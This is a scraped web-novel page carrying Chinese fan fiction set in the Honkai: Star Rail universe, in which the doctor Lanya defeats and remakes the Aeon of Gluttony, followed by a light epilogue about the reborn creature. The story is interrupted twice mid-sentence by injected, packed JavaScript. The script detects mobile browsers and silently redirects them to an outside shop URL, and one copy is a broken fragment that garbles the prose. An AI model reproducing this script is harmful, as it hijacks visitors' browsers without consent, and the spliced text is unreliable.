一如兰涯自身,由虚数之树带到人间的工具,她如今选择了与人同行。 “朽叶小姐初见就让我很亲切。如今想来,我们或许因缘之间有相会。不嫌我话多,还请听我一言。” 像是母亲在安抚不安的幼兽:“叶子枯朽并非终结。它落入量子之海,重新进入虚数之树,获得新生。” 朽叶没有开口,静静地听下去。 “变味的欢愉,所有人都在想办法解决。我相信人的力量,也相信欢愉抛开生命本能,展现其生命意志的一面。” 二相乐园的治安官陷入思考,最终应许:“医师的事,我会帮忙。” 兰涯没有问她是怎么知道的,这位治安官和欢愉的关系其实很密切,她只是点了点头,最后把一段话送给了朽叶。 “丹轮寺僧人的禅语:知其乐而乐者,是世间欢愉。知其苦而乐者,是本然欢愉。知其苦乐亦无所往而心生欢愉者,是真实欢愉。” 街灯暖黄色的光从头顶洒下来,把她的脸染成一层薄薄的暖色:“汝所问者,何所求耶?” 朽叶站在街灯下,眼睛里的探知意味消失了,微微鞠了一躬,转过身朝街道另一端走去。 59.第 57 章 人人都说市场开拓部的奥斯瓦尔多喜好奢华。 如果你看到一艘无比华丽的飞船出现在庇尔波因特的轨道上,那他肯定就在里面,进行着宣传力度极大的定期参拜琥珀王活动。 克里珀会为这位狂热信徒投下目光吗?无人知晓。 如果你看向泊在轨道上最吸引眼球的飞船,奥斯瓦尔多喜好奢华的事实似乎确实如此。 大型飞船从舷窗边缘的黄金饰条到推进器尾喷口上雕刻的繁复花纹,每一处细节都在宣告主人的权势与品味。 它太大了,太亮了,以至于边上那艘小小的黑色飞船被衬得格外不起眼。 那是一艘没有任何标记的船,外壳是吸光的深色涂层,静静泊在大型飞船投下的阴影边缘,低调得近乎隐身。 小型飞船内部的安保系统在兰涯凭空出现的那一瞬同时激活。 所有安保人员佩戴的战术目镜上同时弹出了红色警示框,武器抬起的动作在零点几秒内完成,枪口从四面八方指向突然出现在船舱中央的女人。 兰涯站在船舱中央,撑着一把伞,似乎外面刚刚下过雨,这显然是个笑话,宇宙会下雨? 周围十几支枪口指着她,她没有看任何一支。 奥斯瓦尔多站在船舱另一边。他的姿势很放松,双手背在身后,嘴角挂着一抹反复打磨过的恰到好处的微笑。 他抬起手,轻轻拍了两下:“世间传闻绝境医师的移动方式非同一般,如今得见,果然名不虚传。” 兰涯微微颔首:“论情报能力,果然还是市场开拓部更胜一筹。” 奥斯瓦尔多的微笑加深了一点,但随即又收敛了几分,像是在斟酌一个得体的分寸。 “过誉了。那是部门的各位同仁以狼性文化为根基共同打造的。”他说到“狼性文化”四个字时语气非常理所当然,像是在背诵一段被使用过无数遍的公关话术,“在我看来,还有很多不足之处,比如没有医师此次前来意欲何为的相关情报。” 他顿了顿,偏了偏头,姿态从容:“请容我猜测一下,医师与巡海游侠关系匪浅,难道是为那些野狼来报仇了?” 兰涯慢条斯理地收起伞,像是在安保系统面前表演自己的无恶意。 她抬起眼睛看向奥斯瓦尔多:“听说你在公司有‘变色龙’之称。那凭你灵活善变的思维,不应该报出一个最不可能的答案。” 她把伞从右手换到左手,伞尖在地板上轻轻点了一下:“游侠素来讲究自己的仇自己报,我不会插手。你是波提欧的目标,不是我的。” 奥斯瓦尔多的肩膀极其细微地往下沉了一点点,如果能看到安保系统战术目镜里的显示,大概就是风险评估系统在接收到新数据后自动下调了威胁等级。 “哦?”他的微笑重新挂回嘴角,“那么医师前来,难道是弃战略投资部,投市场开拓部来了?” 兰涯仿佛听到了什么十万个冷笑话,无奈地笑了一下。 “无论是曾经的开拓,还是现在的以毁灭践行存护,奥斯瓦尔多先生,你都没沾些许欢愉。所以我们没必要绕着圈子说笑话。” 她把伞尖从地板上抬起来,伞柄在手指间转了半圈。 “你的飞船恰好在我需要的轨道角度上。不然我就去边上那艘大飞船了。那么此时此地,我邀请诸位共赏寰宇罕见的奇景。” 她的嘴角扬起来,眼睛里却没有笑意:“奥斯瓦尔多先生,琥珀下贪饕碎片的味道怎么样?” 刀身从伞柄中滑出,冷银色的刀光在飞船里拉出一道弧线。 同在第Ⅸ机关的深处,乱破和几位游侠在疯狂奔跑。 不过就是数分钟前的事情,乱破取出一支试管,管口封得严严实实,里面装着一小管鲜红的液体。 弹开管口封条,极其轻微地晃了一下。试管中兰涯的血,那缕属于“最高价值研究样本”的气息,从管口逸散出去。 深处有了动静,脚步声沉重,不像是人类的脚步。 门被从里面猛地撞开。 怪物从门后挤了出来。它的上半身还勉强保留着原始博士的模样,戴着圆框眼镜,穿着残破的白色实验袍。但下半身已经完全与贪饕碎片融合,无数的嘴从他的腰部往下涌出,每一张嘴都张着尖牙,朝试管的方向贪婪地张开。 自以为是的天才认为自己能驾驭原始,到头来反而被世界的本能所反噬。 “最高价值研究样本!”怪物嚎叫着,声音从所有的嘴里同时发出,层层叠叠地撞在墙壁上。 它开始追,身躯在通道中蠕动前冲。 五十米。 游侠们在前面奔跑,故意将速度控制在怪物刚好追不上、又刚好不愿放弃的距离,正如那时原始博士控制太空漫步的速度来戏弄游侠。 一位游侠被地上的实验废品绊倒,膝盖磕在地面上,血从裤腿渗出来。乱破回头一把拽起他,带上自己的滑板。 三十米。 门就在前面,一位游侠的头发被怪物的尖牙咬住,他反手一刀割断头发,踉跄着继续往前跑。 十米。 外面透进来的光芒已经能照亮他们脸上的汗水和血污。 足够了。 哪怕这时自己被吞没了也没事,哪怕自己成为血罪灵也在所不惜。 因为门外有一位编外的巡海游侠。 黄泉站在门外。 她抬起头,看到了更远处观战席上一个隐约的身影。 晚礼服的裙摆在星光下泛着冷光,手术刀已经收回了。波尔卡·卡卡目选择了放弃。 黄泉拔刀出鞘,挥下了刀。 “我为逝者哀哭——” 从她的脚边到第Ⅸ机关的前厅,从大门到怪物脚下,世间徒余一抹红色。 一刀劈开,前厅的结构在刀锋下分崩离析,游侠们飞了起来,乱破及时拉住了同伴们。 被贪饕反客为主的原始博士暴露在宇宙的真空之中,那些嘴同时伸长,张开,试图寻找虚空中让它念念不忘的东西。而虚空之中,由游侠们早早准备好的属于“最高价值研究样本”的血饵,已经构成了一条路,引诱它前往刑场。 “——暮雨,终将落下。” 飞船,环绕琥珀王的飞船轨道,琥珀王的亚空晶壁,全数在兰涯的这一刀之下被斩成两半。 贪饕的碎片苏醒了,祂从琥珀底下向上涌出,一股久远到被封印之前的饥饿在宇宙中铺展开来。 雅利洛六号星球上,虚照端着相机,对着正在融化的冰原按下了快门。 冰层的边缘正在以肉眼可见的速度退缩,裸露出下方琥珀色的地髓。 “原来融化后是这样的,要抓紧取材!”她的语气带着面对罕见素材时特有的兴奋。 乔瓦尼站在旁边:“这次素材很适合做成游戏。” 在他们身后不远处,花火和火花难得没有嬉笑。两位愚者站在一起,肩膀挨着肩膀,同时朝桑博眨了眨眼睛。 “如果没有这次的医疗,”火花说。 花火接上:“后面贝洛伯格的大灾就是祂了吧。” 桑博没有回答。 蓝发的男人拿起了面具,冰原的风把他的衣角吹起来。 他看向地髓深处,那里正在开裂,裂缝深处渗出一种不属于地髓的东西。 “姐们,哥们,听到了吗,祂的声音。”桑博说,“我们要抓紧时间了。” 面具架上他的脸,阿哈人性的部分在此展开。 欢愉选择了在等待救助的过程中自救。 二相乐园,画卷前站着爻光、星、三月七。 真珠身边的基石悬浮起来:“各位去吧,哈托彼亚我会守护。” 三月七点点头:“放心吧,真珠女士。列车上的大家也做好了准备。” 绯英拿着尺子:“你们要加油呀!幻月秘庭就交给我吧,我不会让别人染指的。” 这时有脚步声响起,朽叶走了进来:“看来我来得及时。” “你——”真珠的手指抬起来,基石的光芒骤然变亮。 “真珠执行官,我受医师所托前来,解除此地的封印。”朽叶不慌不忙地说,“想要解封,没有「锁」和「钥匙」是不行的。” 真珠的手指缓缓放下,基石恢复了待机状态。 “祝愿各位一举成功。”二相乐园的执行官说,然后停了一瞬,如人类的深吸一口气,“不,根据计算,必须成功。” 兰涯挥下那一刀之后,没有看奥斯瓦尔多在太空中翻滚的身影。 飞船的残骸在她身后缓慢飘散。 兰涯没有回头,跃迁的虚数能把她从庇尔波因特的轨道上直接拉到哈托彼亚附近的约定星域。 这片星域很空旷,只有一个人在等她,拉曼查。 兰涯抬起手,时针与指针从她掌心里悬浮起来,光芒从针尖延伸出去,领域规则的力量漫过小行星碎片,漫过星际尘埃,漫过这片星域里每一粒漂浮的原子。 “领域规则:战斗期间,我方隔绝一切死亡。” 领域规则稳定下来之后,在虚空中几乎看不见了。 她垂下手,转过身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521672|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向拉曼查。 两人合作这么多年,已经达成了不需要多言的默契,拉曼查颔首,举起右手,放出了贪饕的影子。 影子像香甜的诱饵,味道飘向宇宙各个角落,召唤着同为贪饕一部分的前来。 碎片从宇宙四个角落开始汇聚到星间轨道。它们即将在虚空中融合、旋转、膨胀,像一团正在成型的黑色星云。 目前的过程在几分钟内走完了正常天体演化需要亿万年才能完成的全部阶段,它还在长,不过在兰涯眼里,还是太慢了,需要再加点诱饵。 现在是时候了。 兰涯看着她的星星,把伞塞进他手里,抱住他:“这里交给我,然后,还是和以前一样,用拥抱来代替告别吧。” 拉曼查的手指本能地扣住伞柄,紫灰色的眼睛看着她,嘴张开了,想说很多话,最终只说:“你要活着。” 兰涯没有给他说第二句话的机会,她捧起他的脸,落下一吻,在他脸颊上。 嘴唇的温度贴着他的颧骨,停留的时间很短,短到他的皮肤还没记住这个温度,就已经离开了。 “一切都拜托你了,拉曼查。”然后她的手按在他胸口,用力一推。 拉曼查的身体被她推出这片领域,他的手还在徒劳地往前伸,嘴中好像还在念她的名字,可惯性把他越推越远。 兰涯转过身。 她没有多余的时间回头再看那颗被她推开的星星,时针与指针从身侧飞回来,在她掌心里缠绕在一起。 金属的质感在光芒中逐渐融化、延伸、重构,从针变成了盖乌斯之矛。金色与银色在左右两侧向中心交织,螺旋着向上,一直延伸到矛尖,像两条永不分离的光河,没有哪一种颜色压过另一种。 这把象征着人类情感和意志的武器,是过去的她绝不可能拿起的,而现在的她如阿哈所说,经历了世间百态,真正读懂了自己的内心,才能拿起这柄生来就为了刺穿神与人之间那道从来就不该存在的墙的长矛。 她把矛尖对准自己的心口,毫不犹豫地刺了下去。 血从伤口涌出来,在真空中迅速扩散,这是对贪饕而言最美味的诱饵。 兰涯一手捂着胸口还在滴血的伤口,另一只手握着盖乌斯之矛,冷静地观察着融合过程。 太慢了。按照这个融合速度,贪饕完全苏醒之后的第一波吞噬脉冲就会波及周围的居住星系。 她需要更快,需要更大的撞击力,把碎片瞬间砸进影子融合,在一击之内完成合成。 星穹列车来了,推进器的尾焰划破虚空,列车像一枚从左轮手枪里发射出来的子弹,从两个方向疾驰而来。 一列曾经来自终末,从第Ⅸ机关附近的轨道冲过雅利洛Ⅵ号附近的星轨。 一列驶向开拓,从哈托彼亚的轨道冲向此处星域,顺带撞过了自庇尔波因特而来的碎片。 引擎的轰鸣冲进兰涯的感知,两辆星穹列车正以前所未有的速度冲过来,当着她的面,十字交错,直接把四块碎片撞进了影子里。 身躯在虚空中展开,那是一个庞大到让人类的尺度感完全失效的存在。 贪饕星神,奥博洛斯,复活了。 所有人都曾以为祂是头笨重的古兽,但其身下的黑暗海潮「黑域」才是最可怕的,无人知晓「黑域」里有什么人类未知的领域。 就像电脑的回收站一键清空,你也不知道那些文件碎片到底有没有真正意义上的清空。 只不过被限制在领域规则里,祂无法更大,只能尽可能把自身扩充满整个星域,然后拼命地吞噬。 布满尖牙的口器张开,深处泛着令所有生灵都为之战栗的饥饿。 也受制于领域规则,所有被祂吞噬的东西又回溯到了原位。 “去吧!阿基维利!月亮骑士在等着你!” 兰涯高声喊道,她的声音穿过领域规则的边界,精准地落在星的耳中。 然后她举起盖乌斯之矛,整个人化成一道流光,正面冲向刚刚合成完毕的奥博洛斯。 古兽可以交给别人,「黑域」只能由自己完成。 在所有注视着这片星域的人的目光中,兰涯被古兽的巨口吞没。 口器合拢,流光消失在黑暗海潮里。 星握紧了荧光棒,她想起那枚特里同的子弹,那枚兰涯放在她掌心里时说“如果以后你面临这样的抉择就想一想它”的子弹。 她抬起头,荧光棒稳稳地指向哈托彼亚的那一头,对全息投影的银狼说: “小姨,走。我们去干掉归寂的头。” 60.-正文完- 奥博洛斯吞下兰涯后,它的背上出现了一个幻象。 那是一位绝色美人,嘴角挂着蛊惑人心的笑容。幻象面向宇宙里所有正在注视着这场战斗的势力,张开双臂:“你们不需要战斗,我可以满足你们的一切,让我们回归宇宙万物起初的模样。” 声音穿过真空,直接响在每一个存在的意识深处,充满诱惑。 黄泉第一个冲了上去,刀出鞘,刀身在真空中拉出的弧线比她在匹诺康尼劈开太一之梦时更长,比她劈开第Ⅸ机关时更深。 刀锋斩断了古兽的一个头颅,刀势的余波继续往前,劈开体表第一层防御,幻象消失了。 古兽吞噬的动作明显变慢了。 拉曼查站在星域边缘,这里恰好能借助幻月游戏的力量。 黄泉那一刀的余光照在他脸上,西装斗篷在虚空中被战斗的冲击波吹得向后扬起,仿佛是一面旗帜。 他一只手按在面具上,另一只手高高举起,头狼的子弹发射出去了。 “领猎人拉曼查,以巡猎之名,召同袍归位。” 他的声音坚定,每个字都像子弹从枪膛里射出,击穿一切因果。 “红月——”第一颗流星从宇宙的某个角落呼啸而来。 “坎德尔——”第二颗,尾焰是红色的。 “伦茨——”第三颗,长长的星辉划破天际。 每一个名字出口的瞬间,宇宙中某个角落就会亮起一点光,光芒拖出尾焰跨越以光年计的距离出现在战场。 “小宁——”“阿什——”“波赫宁——” 宇宙会下雨吗?会的。 无数尾焰的光在天际铺成浩瀚的流星雨。 有的流星是活着的游侠,开着飞船从各个星系赶来。 有的流星是亡魂,是死在虫群口中的、死在诛罗之战里的、死在翁瓦克之战中的、死在无数复仇之战中的、为不公不义战斗到最后一刻的游侠们,他们被深深地烙印在拉曼查的命途底层,此刻被他以自身的记忆为媒介唤醒。 十万一千两百零一个死去的名字,愤怒的魂灵从地狱杀回来,只为将恶魔拖回地狱,从生存中前进,从死亡中归来。 每一颗流星都是一个游侠的誓言。 誓言不需要华丽,只需要兑现,哪怕跨越时间,超越因果。 巡猎的飞星,只会坠落在最漫长的夜晚,而在身后,将是黎明的到来,寰宇间各方势力对奥博洛斯展开了战斗。 星际和平公司的舰队从庇尔波因特方向赶来,欧珀立在旗舰舰桥上,手指在指挥台上飞快地滑动:“战略投资部所属,全舰进入战斗序列,以存护之名——” 仙舟舰队跃迁入场。爻光和景元站在舰桥上,双手背在身后,两人银白色的头发被星光照得泛冷。 “仙舟翾翔,云骑常胜。”景元发出指令,“如云翳障空,卫蔽寰宇。” 博识学会、黑塔空间站、螺丝咕姆的行星级战舰纷至沓来。 这是比之前铁幕之战更庞大的战斗,这一次的战斗对象是一位星神。 或许反毁灭同盟早已建立,不需要任何领头人。 再或者领头人就是等着拿“头”的阿哈。 所有的攻击落在奥博洛斯身上,如果以银狼的视野来看,奥博洛斯的血条被打破了,进入了红血暴走状态。 它暴怒了,更多的嘴从它身上张开,更多的尖牙从嘴中伸出,贪饕的力量使得周围的星舰瞬间消失,又因为兰涯的领域规则,使星舰原地重现。 就在这一刻,伴随极天的流星雨一起出现的是另一幕奇景。 虚数之树的投影。 巨大的、流光溢彩的树的轮廓从虚空中浮现出来。枝干从看不见的根系处往上延伸,分叉,再分叉,每一个分叉点上都挂着无数片叶子。 这是宇宙间绝大多数人第一次见到虚数之树。它悬在战场上空,枝干笼罩了整片星域,每一片叶子都在缓慢地呼吸。 被奥博洛斯,或者说「黑域」吞下的那一刻,兰涯握着盖乌斯之矛斩断层层尖牙利齿,穿过充满各种碎片的黑暗海潮,意识升格,一直升到虚数之树的顶端。 她在这里睁开了眼睛,看到了量子之海。 无边无际的发光海洋,海潮缓慢地起伏着,一如贪饕身下的海潮,是的,「黑域」就是量子之海。 海上长着虚数之树的树林。 没错,不是一棵树,是无数棵。 始亦是终,一即是万,万亦是一,这里万物永恒流溢、永恒寂静。 大海不断扩张积涨,树木不停扎根生长,一边想要淹没对方,一边想要吸收对方。 每一棵树下都有死去的兰涯的躯骸。 有的蜷缩成一团,膝盖抵着胸口,双手环抱着自己的肩膀。 有的脖骨断裂,头以扭曲的角度仰着,眼睛睁开,瞳孔里没有任何光。 有的死之前还在挣扎,手指抠进量子之海的浅滩里,指尖被海水浸成了枯骨,身体固定在往前爬的姿势。 有的身骸已经开始腐朽,骨骼从碎裂的皮肤下面露出来,肋骨像被潮汐磨白的枯枝。 更多的躯骸堆叠在树干周围,一层摞一层,一直堆到树冠投下的阴影边缘。 每一架躯骸都是在无数次轮回里最终熔毁死去的自己,每一次死亡都是她在无数个错误时间线里被命运的枷锁束缚的结果。 原来这就是阿哈说的“阿哈爬上去过,那里太无趣了,你不会喜欢的。” 的确,很无趣。 兰涯站在虚数之树的顶端,脚下是亿万次轮回中死去的无数的自己。 她站在这里,忽然明白了一切。 并非她在轮回中死去了亿万次,而是亿万次的死亡堆叠成了她的存在。 她是所有死去的自己的总和,也是唯一一个走到这里的自己。 虚数之树的树林铺展开来,此时所有的躯骸都抬起头来看向了她。 那些空洞的、曾经没有任何光的眼睛在同一瞬间全部亮了起来。 那些想对未来的自己说的话,都被这些死去的自己在生命的最后镌刻进了虚数之树。 “不要放弃。”“不后悔。”“活下去。”“要幸福。”“前进。” 亿万次死亡中唯一说出口的言语,此刻全部汇聚成了同一个声音。 原来这就是特耳米努斯说的“我在终点受人所托,我答应了她们。” 她们就是这亿万次死去的自己,她们在终点的尽头委托特耳米努斯,委托他从终点往回走,委托他找到那个还在轮回中挣扎的自己,告诉她:这次不一样。 这次你会走到这里。 现在这亿万条错误的时间线的希望全部汇集到同一个点上。 无数在过去死亡的手伸起,朝向同一个方向。 所有的信念凝聚在一起,所有的力量汇聚给亿万次不可能中唯一的奇迹,那些曾经的徒劳,终于在此结出了甜美的果实。 众人将与一人离别,惟其人将觐见奇迹。 量子之海上的树林消失了,树林下的遗骸们也消失了。 一棵巨树立在海中央,枝干从主干上分出,再分出,又分出,垂落下无数气根,气根扎入量子之海的浅滩,重新长出新的枝丫,层层叠叠,编织成一片无边无际的树冠。每一片叶子都泛出五彩斑斓的光,所有命途的颜色在闪烁。 「我」即为「虚数之树」。 至此,人性「补完」。 她新生了。 战场上的所有人看到虚数之树的投影破碎了。 那棵覆盖了目之所及的宇宙的巨树投影,从最顶端的枝丫开始,一寸一寸地碎裂,碎片像雨一样落下,每一片都折射着斑斓的光芒。 碎片后面露出了一个庞大无比的身影。 那是兰涯,不,是虚数之树本体。 星云为衣,星汉为带,迤逦展开的长发流淌着银河的光,金色的眼眸带着神性的威严。 祂垂下手,巨大的手掌在虚空中展开,伸向奥博洛斯。 温柔的声音落下来:“「我在」。” 与此同时古兽的体内,盖乌斯之矛从内而外穿出,被古兽吞没的兰涯冲天而起。 她的头发散乱,浑身浴血,但星海般的眼睛是亮的。 祂低下头,她抬起头,目光在虚空中交汇。 然后祂动了,她也动了,像创世纪那样,指尖交汇。 指尖交汇的那一刻,虚数之树的祂消失了,浑身是血的她也消失了。 在交汇的位置诞生了一个新生的兰涯,稳稳地立于星河之间。 她伸出双手,奥博洛斯身下的黑色海潮旋即退散,捧起祂,双手合拢。 古兽的体型在飞速缩小,最后缩成只有一颗石子那么大。 石子在她掌心中化成了点点星光,星光浮起来飘向虚空中,沿着那棵早已破碎的树的投影的残存方向飘去,最终回到了虚数之树和量子之海的交汇处。 战场上陷入了极短暂的安静。所有人都在消化刚才看到了什么。 然后兰涯抬起头,新生的她有着和之前的虚数之树完全相同的面容,但金色的眼睛里的东西不一样了,如母亲一般看向宇宙。 这一刻,列神之战的幕布被彻底拉开。 所有星神的目光,在同一瞬间投向了这里。连虚无的Ⅸ,那亘古不动的深渊,也泛起了一丝微澜。 祂们在不解,在震动,在见证,在喜悦,一位高于祂们的存在,在经历亿万次轮回后,终于完成了最后一块拼图。 人性的补完。 以神明之躯,展现出了人的意志。 那意志里没有神的视万物为刍狗,只有属于人的勇敢与坚定、爱与恨、牺牲与自我、绝望与希望。 那些看起来似乎微不足道的人性,此刻却闪耀着比任何一次轮回的命运都更完整的光。 早已在心中无数次下定的决心,此时此刻,就由自己来打破观星者口中那个装了所有命途气球的玻璃瓶。 她开口了,声音传遍了宇宙的每一个角落,每一个存在都听到了。 “诸神啊,列神之战已定,寰宇生灵苦楚。” “吾今于此,打破虚数之树的边界。” “让众生共论,生命因何而存在。” 最后一字落下,她的身体升华了,化作无数金色的光点,从她站立的位置开始,光点像被风吹散的蒲公英种子,向宇宙的每一个方向飘去,飘向每一个命途,飘向每一个星系,飘向每一个存在的角落。 她把虚数之树的力量送给了整个宇宙,让命途、让列神之战、让未来,以人的意志来决定。 此刻兰涯自身的概念跨越了时间和空间的维度。 时间和空间本身在她面前弯成了一个闭合的回路,她站在莫比乌斯环上,温柔地看着特耳米努斯。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看到那个被奥博罗斯吞没的自己,看到寰宇间无数流星拖着尾焰冲锋。她在这个自己面前停了一下,伸出了手,与自己交汇:“「我在」。” ——祝福生命新生与存在。 再次回到原点,又要折返回到开头了。 兰涯稍停了脚步看向未来。从这个节点往前,前方是她还没走到的时间线。 她看到月亮骑士的手术成功了,被星一荧光棒又敲晕了;看到奥斯瓦尔多和他的手下被战略投资部的飞船打捞起来;看到虚数之树的推力冲击了模因病毒的自我溶解,游侠在岛上的攀爬架下睁开了眼睛,张了张嘴,发出的第一个音节不是“蕉”,是“我〇”。 她欣慰地点点头,转过身准备重新走向莫比乌斯环的过去。 她听到了一声熟悉的呼唤。 “医师!” 兰涯停住了,回过头,是卢锡安,她医治过的第一个人。 卢锡安身后有数不清的人,有老有少,有男有女,他们的面容如此清晰。那都是她曾经救助过的灵魂,他们本应早就消散在时间的洪流中,却此刻站在莫比乌斯环外的路上,看着她,叫她的名字,仿佛在呼唤一个迷路的旅人。 兰涯怔住了。 “兰医师!” 铁尔南的声音从人群中传来,他身边站着米哈伊尔和拉扎莉娜。 这是她第一次亲眼见到活的拉扎莉娜,这个戴着眼镜、爱笑的姑娘伸出手拉住了她,声音很清脆:“哪有往回走的道理,无名客就是要向前开拓。” 年轻的米哈伊尔在边上笑着:“医师你自己不也有开拓的力量嘛,要相信开拓啊!” “兰涯!”一只温暖的手突然抓住了她,熟悉的声音,熟悉的面容,那是白焰。 兰涯的眼泪情不自禁地在眼眶里聚集。 边上站着衡安,还有苏湄、青禾……那些她曾在仙舟上结识的姑娘们。 “谢谢你,兰涯,你为我做得太多了,现在轮到我为你带路了。”白焰牵着兰涯的手向前走。 两个人在路上慢慢地走着,走得很慢,慢到每一步都可以被定格成永恒。 前方又有声音响起。 “兰妈妈,我等了好久啦!” 兰涯抬起头,眼泪彻底夺眶而出,白珩站在前方不远处挥手,耳朵正兴奋地竖着。 小狐狸跑过来,看着她,又看向白焰,调皮地眨了眨眼:“接下来就由我,接过妈妈的接力棒吧。” 白珩拉着兰涯的手,一路向前,蹦蹦跳跳。 又不知走了多久,白珩停下脚步:“兰妈妈,未来属于大家,也属于你,前进吧,我们在未来等你。” “前进吧,兰医师。” “前进吧,兰涯。” “前进吧,兰妈妈。” “……前进吧……我们亿万次生命的奇迹。” 兰涯看着那些人的身影化作光,散落在前方无尽延伸的道路上。 她擦了擦眼泪:“谢谢你们。” 她深吸一口气,迈开了脚步。 前方,远方的光点处,她的锚点就在那里。 她不会迷路。 -正文完- 61.后日谈(一) “这是……?” 侦探先生仔仔细细打量着这只生物。 它通体漆黑,圆滚滚、胖乎乎的,像一团蓬松的绒球趴在兰涯怀里。皮毛顺滑柔软,身上分布着几道暗红色的条纹,从后背延伸到肚皮,纹路的颜色和形状让他觉得极其眼熟。 他凑近了看,那只小东西抬起圆乎乎的脸,两只小眼睛乌溜溜的,嘴巴微微张着,露出一点粉色的舌尖,安安静静地蹭着兰涯的掌心,喉咙里发出一串很轻的、像小猫一样的咕噜声。 总之,毫无攻击性。 拉曼查盯着它看了好一会儿,脑子里把见过的所有生物都过了一遍。 暗红色的条纹,漆黑的皮毛,圆滚滚的体型。 什么东西? 一道轻飘飘的旁白音从旁边响起来。 旁白已经恢复了人型,手里还拿着他那本小本子。 他做侦探助手做了这么久,已经很喜欢这份工作,但改不了当旁白配音的老习惯。 此刻这位有着一头棕色卷发的侦探助手推了推鼻梁上并不存在的眼镜,字正腔圆的旁白音带着几分公事公办的严谨,又藏着一丝努力压住但没完全压住的无奈: “侦探先生观察着这只生物,圆滚滚的漆黑身体,令人熟悉的红色条纹,看似可爱的圆脸后,似乎藏着一张满是尖牙、如同七鳃鳗一样的大嘴,它就是——” 拉曼查盯着小家伙圆乎乎的脸蛋,看着它乖巧蹭着兰涯的模样,几乎是脱口而出,语气充满自信: “大胖猫!” 空气瞬间安静了。 旁白深吸一口气,语气里的无奈直接翻了倍,甚至带上了一丝恨铁不成钢的抓狂,字正腔圆的播音腔彻底碎成了被气到破音时才会有的调子: “贪饕!它是贪饕啊侦探先生!你的脑袋又被冰箱门夹了吗?这可是当年搅得寰宇大乱,在你手臂里寄生了大半辈子的贪饕古兽,不是什么大胖猫!” 贪饕古兽。 那场惊天动地的战斗结束之后,奥博洛斯并未被彻底消灭。 宇宙诞生之初,生命的本能便是底层逻辑。无论是负面的欲望还是正面的欲望,都是宇宙运转的根本。 只要生命存在,本能的欲望便不会消亡。贪饕作为欲望的化身,自然也无法被彻底抹杀。 所以虚数之树的新生,伴随着贪饕古兽的新生。 昔日狰狞恐怖、以吞噬万物为唯一本能的古兽,在兰涯打破虚数之树边界的那一刻,褪去了庞大的躯壳和所有的恶意,新生为如今这只圆滚滚、毛茸茸的小兽。 祂联结着互为生长又互为克制的虚数之树与量子之海,将尖牙利齿隐藏在肚子最深处的黑暗海潮里,只剩下还没有被任何方向定义的、白纸一样最纯粹的本源。 兰涯不愿新生的祂在名为「黑域」,实则是量子之海的浸染中再次重蹈覆辙。现在,小兽只是一张白纸,那她就要用最好的颜料来画。 她想引导它做出自己的选择,有别于曾经被宿命驱赶着的选择,更想看到的是被人类美好情感包围后它的主动选择。 只是新生的贪饕幼崽有一个刻入本能的弱点:它极度害怕黄泉。 只要黄泉靠近,它便会炸成一个蓬松的毛球,把头埋进兰涯怀里,圆滚滚的身体抖得像风中的蒲公英,连短短的尾巴都缩进肚皮底下,没有半点平时懒洋洋的底气。 黄泉倒是不反感小兽,猜测可能是自己身上虚无的力量使得古兽幼崽害怕,毕竟贪饕代表“主动吞噬”的状态,虚无则处于“吞噬完毕后的空寂”状态,对于贪饕来说,没有什么能吃是非常可怕的。 做出这个推论的黄泉,完全忘记了当初在战场上向奥博洛斯挥下第一刀的人其实就是她本人。 恰逢兰涯要与黄泉一同外出前往帕特雷□□齐亚的悲悼剧场看戏,不知道剧场让不让小动物(?)进,又怕黄泉身上的气息吓到它。思虑再三,兰涯便打算把这只小家伙暂时寄养在拉曼查这里。 所以此刻,报社的隔间里,兰涯轻轻拍了拍怀里幼崽的后背,抬起眼睛看着拉曼查,神色认真,一字一句地说: “这是小狗贪贪。” 旁白再次忍不住出声,字正腔圆的播音腔彻底崩了:“不是!兰医师!哪怕你说它是头猪,我也认了!它明明是贪饕,怎么就变成小狗了啊!这根本说不通!” 恶语伤兽心。 兰涯像是没听到旁白的抗议,指尖轻轻捏了捏贪贪圆鼓鼓的脸颊,看着它懵懂的小眼睛,温柔又认真地叮嘱: “小狗贪贪,快,叫几声给侦探先生听听。” 被叫做贪贪的小兽乖乖地靠在兰涯怀里,它先是眯着眼睛舒服地哼唧了几声,然后它像是听懂了兰涯的话,努力张开没有尖牙、只有一排细细的乳牙和粉色舌头的小嘴,卖力地叫了起来: “哼……汪……汪汪汪!” 一声,又一声,算不上响亮,甚至带着几分奶声奶气的笨拙,调子也不太对,第一声“汪”和第二声“汪”之间隔了太久,像是先在大脑里思考了一遍这个发音该怎么叫,再用喉咙叫出来。 但确确实实是小狗的叫声。 旁白扶额:“哪怕学狗叫,也不能掩盖它是贪饕古兽的事实啊,这是自欺欺人。” 就在旁白崩溃之际,一直沉默的拉曼查忽然眼睛一亮,嘴角的弧度往上扬了一截,语气无比坚定: “对,它就是小狗!” 旁白彻底沉默了。整个人转了个身,面对着墙壁,背影写满了“我放弃了,你们爱怎么叫怎么叫吧”。 想来,这世间的事当真神奇又荒诞。 拉曼查这个被贪饕影子折磨了大半辈子,日夜饱受煎熬,恨不得彻底摆脱这份枷锁的男人,如今竟然心甘情愿地养起了新生的贪饕古兽,还把它当成一只普通的小狗。 他给贪贪在自己的折叠床旁边铺了一个小窝,每天早上起来第一件事是给贪贪倒一碗温水,吃拉面的时候会撕一小块叉烧放在贪贪面前的小碟子里,甚至会陪着它找鹅卵石,贪贪日常最大的兴趣爱好就是找各种各样好看的光滑的石头。 看着贪贪在报社地板上摇摇摆摆跑过来蹭他靴子的时候,紫灰色的眼睛里会有一种很柔软的光。 这只被口是心非叫做“小狗”的贪饕小兽,格外粘人,尤其黏拉曼查。 